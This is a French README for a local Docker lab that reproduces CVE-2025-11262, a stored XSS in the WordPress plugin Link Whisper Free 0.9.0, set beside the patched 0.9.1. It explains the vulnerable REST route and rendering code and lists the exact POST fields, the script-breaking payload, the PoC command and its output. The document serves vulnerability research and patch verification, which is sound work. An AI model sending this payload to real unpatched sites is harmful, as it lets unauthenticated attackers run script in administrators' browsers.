
Ce dépôt contient un laboratoire Docker local pour reproduire CVE-2025-11262, un problème de cross-site scripting stocké non authentifié affectant l'extension WordPress Link Whisper Free.
Le laboratoire compare deux versions de l'extension :
| Service | Version de l'extension | Objectif | URL |
|---|---|---|---|
vuln | 0.9.0 | Cible vulnérable | http://127.0.0.1:8081 |
patched | 0.9.1 | Cible de comparaison corrigée | http://127.0.0.1:8082 |
La chaîne de vulnérabilité démontrée est la suivante :
Unauthenticated REST request
→ attacker-controlled user_id is persisted
→ a privileged WordPress user opens the Link Whisper AI Subscription page
→ the stored value is rendered into an admin JavaScript context
→ alert("CVE-2025-11262-LAB") executes on the vulnerable version
L'attaquant n'a pas besoin d'être connecté pour implanter la charge utile stockée. Le JavaScript s'exécute plus tard lorsqu'un utilisateur WordPress privilégié ouvre la page d'administration concernée.
Ce laboratoire est conçu uniquement pour la recherche locale contrôlée, la compréhension au niveau du code source et la démonstration de portfolio.
Voici la section Root Cause Summary à insérer dans le README. Elle est sûre pour le public, ne mentionne pas les fichiers internes comme vuln_detail.txt et s'appuie sur le laboratoire/source que vous utilisez actuellement.
CVE-2025-11262 est causé par une chaîne d'injection JavaScript stockée dans Link Whisper Free 0.9.0.
Le problème n'est pas un simple appel d'échappement manquant. C'est une chaîne de plusieurs comportements non sécurisés :
Unauthenticated REST endpoint
→ insufficient validation of user_id
→ persistent storage in wpil_ai_access_user_id
→ unsafe rendering into an admin JavaScript context
→ stored XSS when a privileged user opens the AI Subscription page
Link Whisper Free enregistre un point de terminaison REST d'authentification IA sous le namespace REST de l'extension :
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';
Le point de terminaison est enregistré comme une route POST :
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
'methods' => 'POST',
'callback' => [
$this,
'ai_auth_handler'
],
'permission_callback' => "__return_true",
'show_in_index' => false
]);
Étant donné que le callback de permission est __return_true, le point de terminaison est accessible sans authentification.
Dans le laboratoire, le point de terminaison effectif est :
/wp-json/link-whisper/ai-auth
Cela signifie qu'un attaquant non authentifié peut envoyer une requête au point de terminaison sans session WordPress, nonce ni compte administrateur.
Dans Link Whisper Free 0.9.0, le gestionnaire lit les paramètres contrôlés par l'attaquant depuis la requête REST :
public function ai_auth_handler( WP_REST_Request $request )
{
if(!empty($request->get_param('access_token'))){
$token = $request->get_param('access_token');
$user_id = $request->get_param('user_id');
$uid = (int)$request->get_param('uid');
$uemail = $request->get_param('uemail');
if(!empty($token) && false !== strpos($token, 'ai-')){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', $uemail);
update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
update_option('wpil_ai_access_authorized', true);
}
return 'ok';
}
return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}
Le comportement vulnérable est la condition de validation faible :
if(!empty($token) && false !== strpos($token, 'ai-')){
Cette condition vérifie uniquement si le jeton d'accès fourni contient la chaîne ai-.
Il n'y a pas de validation stricte de user_id avant son stockage :
update_option('wpil_ai_access_user_id', $user_id);
Par conséquent, du JavaScript contrôlé par l'attaquant peut être conservé dans la table des options WordPress.
La valeur user_id contrôlée par l'attaquant est stockée dans l'option WordPress :
wpil_ai_access_user_id
Dans ce laboratoire, le PoC envoie la charge utile locale suivante :
</script><script>alert("CVE-2025-11262-LAB")</script>
Sur le service vulnérable, la charge utile est stockée comme valeur de wpil_ai_access_user_id.
L'attaquant n'a pas besoin d'être connecté pour implanter la charge utile. La charge utile est implantée via le point de terminaison REST non authentifié.
La valeur stockée est ensuite récupérée via la logique des paramètres de l'extension :
public static function get_linkwhisper_ai_user_id(){
return get_option('wpil_ai_access_user_id', '');
}
La valeur est assignée à $ai_id et rendue dans la page d'administration AI Subscription.
Dans Link Whisper Free 0.9.0, la valeur est insérée directement dans une chaîne JavaScript :
body: JSON.stringify({
ai_id: "<?php echo $ai_id;?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})
Parce que $ai_id n'est pas échappé avant d'être inséré dans le contexte JavaScript, une charge utile stockée peut sortir de la chaîne prévue et exécuter du JavaScript lorsque la page d'administration est ouverte.
Avec la charge utile du laboratoire, le rendu vulnérable devient équivalent à :
body: JSON.stringify({
ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
subscription_id: ""
})
Dans un navigateur, la balise fermante </script> injectée termine le bloc de script d'origine, et le bloc <script> injecté s'exécute.
La charge utile est implantée par un attaquant non authentifié, mais son exécution nécessite qu'un utilisateur WordPress privilégié ouvre la page d'administration concernée :
/wp-admin/admin.php?page=link_whisper_ai_subscription
Dans ce laboratoire, la page concernée est ouverte en tant qu'administrateur WordPress pour déclencher la boîte de dialogue d'alerte.
Cela fait de ce problème un XSS stocké non authentifié ciblant les administrateurs WordPress authentifiés ou les utilisateurs privilégiés qui peuvent accéder à la page d'administration Link Whisper AI Subscription.
Link Whisper Free 0.9.1 ajoute une validation plus stricte avant de stocker les valeurs d'authentification IA.
Le gestionnaire corrigé exige que le jeton et l'identifiant utilisateur correspondent à des formats stricts :
if(
!empty($token) &&
false !== strpos($token, 'ai-') &&
(bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
(bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', sanitize_email($uemail));
update_option('wpil_ai_access_authorized', true);
}
La validation importante ajoutée pour user_id est :
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
Cela empêche que du JavaScript arbitraire soit stocké comme identifiant utilisateur IA.
La version 0.9.1 échappe également la valeur avant de la rendre dans le contexte JavaScript :
body: JSON.stringify({
ai_id: "<?php echo esc_attr($ai_id);?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})
Le correctif atténue donc le problème à deux niveaux :
Input validation before persistence
Output escaping before JavaScript rendering
Le laboratoire confirme la différence entre 0.9.0 et 0.9.1.
Sur Link Whisper Free 0.9.0 :
POST /wp-json/link-whisper/ai-auth
→ returns "ok"
→ stores the payload in wpil_ai_access_user_id
→ opening the AI Subscription admin page triggers alert("CVE-2025-11262-LAB")
Sur Link Whisper Free 0.9.1 :
POST /wp-json/link-whisper/ai-auth
→ may still return "ok"
→ does not store the payload
→ opening the AI Subscription admin page does not trigger an alert
La réponse HTTP seule ne suffit pas à déterminer si la cible est vulnérable, car les deux versions peuvent renvoyer "ok". La différence comportementale significative est de savoir si la charge utile est persistée puis rendue dans le contexte JavaScript d'administration.
Le laboratoire exécute deux instances WordPress isolées et deux bases de données MySQL distinctes via Docker Compose.
.
├── docker/
│ └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
└── vuln/
└── Dockerfile
Le point d'entrée Docker fait automatiquement ce qui suit :
Identifiants administrateur WordPress par défaut pour les deux services :
admin / AdminPassw0rd!
Construisez et démarrez le laboratoire :
docker compose down -v
docker compose build --no-cache
docker compose up -d
Vérifiez les conteneurs :
docker compose ps
Services exposés attendus :
Vulnerable target: http://127.0.0.1:8081
Patched target: http://127.0.0.1:8082
Vous pouvez également suivre les journaux d'installation :
docker compose logs vuln patched
Une installation réussie doit afficher Link Whisper actif dans chaque instance WordPress.
Exécutez le PoC contre le service vulnérable :
python3 poc/poc.py --url http://127.0.0.1:8081
Le PoC envoie cette charge utile locale via le point de terminaison REST non authentifié :
</script><script>alert("CVE-2025-11262-LAB")</script>
Après l'exécution du script, ouvrez l'URL d'administration affichée dans un navigateur et connectez-vous avec :
admin / AdminPassw0rd!
Sur le service vulnérable, le navigateur doit afficher une alerte contenant :
CVE-2025-11262-LAB
Pour comparaison, exécutez le même PoC contre le service corrigé :
python3 poc/poc.py --url http://127.0.0.1:8082
Ouvrez ensuite l'URL d'administration affichée pour le service corrigé. Aucune alerte ne doit être déclenchée.
Cible vulnérable :
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
[next step]
Open this URL in a browser and login as the lab administrator:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
Cible corrigée :
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
La réponse HTTP seule ne suffit pas à déterminer si la cible est vulnérable. La différence importante réside dans le comportement du navigateur après que l'utilisateur privilégié ouvre la page d'administration concernée.

Cible de capture d'écran suggérée :
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
La capture d'écran doit montrer l'alerte du navigateur avec :
CVE-2025-11262-LAB
Le PoC est volontairement minimal et ne nécessite qu'une URL cible :
python3 poc/poc.py --url http://127.0.0.1:8081
Il envoie une requête POST à :
/wp-json/link-whisper/ai-auth
avec les champs de formulaire suivants :
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id = </script><script>alert("CVE-2025-11262-LAB")</script>
uid = 1
uemail = [email protected]
Sur le service vulnérable, la valeur stockée est ensuite rendue dans la page AI Subscription. Lorsqu'un administrateur ouvre cette page, le JavaScript s'exécute.
Sur le service corrigé, la même charge utile ne doit pas entraîner d'alerte.
Vérifiez les versions de l'extension :
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper
Vérifiez si le service vulnérable a stocké la charge utile :
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root
Valeur vulnérable attendue :
</script><script>alert("CVE-2025-11262-LAB")</script>
Vérifiez le service corrigé :
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root
Comportement corrigé attendu :
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?
Vérifiez les journaux d'accès au point de terminaison REST :
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'
Mettez à niveau Link Whisper Free vers 0.9.1 ou une version ultérieure.
Le correctif empêche cette charge utile de laboratoire d'être persistée et rendue en ajoutant une validation plus stricte et un traitement de sortie plus sûr autour du flux d'authentification IA concerné.
Pour les environnements de production, envisagez également :
Arrêtez et supprimez les conteneurs, réseaux et volumes :
docker compose down -v
Supprimez les images construites localement si vous le souhaitez :
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true
Ce laboratoire est réservé à la recherche en sécurité locale et à la démonstration contrôlée.
N'exécutez pas le PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation de tester.
N'utilisez pas de véritables identifiants, de secrets de production ou de callbacks externes dans ce laboratoire.
Le PoC utilise intentionnellement un marqueur alert() visible comme preuve par capture d'écran. Il n'inclut pas de charges utiles pour le vol d'identifiants, le vol de session, la persistance au-delà du laboratoire ou les actions administratives automatisées.
GitHub Advisory Database: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
https://github.com/advisories/GHSA-7h4c-hr9j-8q85
Wordfence Intelligence : entrée de la base de données de vulnérabilités de Link Whisper Free
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper
Annuaire des extensions WordPress.org : Link Whisper Free
https://wordpress.org/plugins/link-whisper/
Paquet de l'extension WordPress.org utilisé par le laboratoire vulnérable
https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip
Paquet de l'extension WordPress.org utilisé par le laboratoire corrigé
https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip
Navigateur de code source des extensions WordPress : Link Whisper 0.9.0 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php
Navigateur de code source des extensions WordPress : Link Whisper 0.9.1 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php
Navigateur de code source des extensions WordPress : Link Whisper 0.9.0 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php
| Affirmation | Preuve | Comment vérifier dans ce laboratoire |
|---|
Link Whisper Free 0.9.0 est vulnérable. | Les avis publics identifient les versions de Link Whisper Free jusqu'à 0.9.0 inclus comme étant affectées. | Exécutez le PoC contre http://127.0.0.1:8081 et ouvrez l'URL d'administration affichée. |
Link Whisper Free 0.9.1 contient le correctif. | Les données d'avis public et de journal des modifications identifient 0.9.1 comme la version corrigée. | Exécutez le même PoC contre http://127.0.0.1:8082 ; aucune alerte ne devrait apparaître. |
| L'implantation de la charge utile est non authentifiée. | Le PoC envoie une requête POST sans cookies WordPress, connexion ni nonce. | Inspectez poc/poc.py ; il nécessite uniquement --url. |
| L'impact visible se déclenche dans la zone d'administration WordPress. | La valeur stockée est rendue lorsque la page Link Whisper AI Subscription est ouverte par un utilisateur privilégié. | Après avoir exécuté le PoC, connectez-vous en tant qu'admin et ouvrez l'URL d'administration affichée. |
La cible corrigée peut toujours renvoyer "ok" au niveau HTTP. | Les tests locaux ont montré que les deux cibles peuvent renvoyer "ok" ; la différence significative réside dans le fait que la charge utile est persistée et exécutée ou non. | Comparez le comportement du navigateur sur 8081 et 8082. |
Navigateur de code source des extensions WordPress : Link Whisper 0.9.1 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Settings.php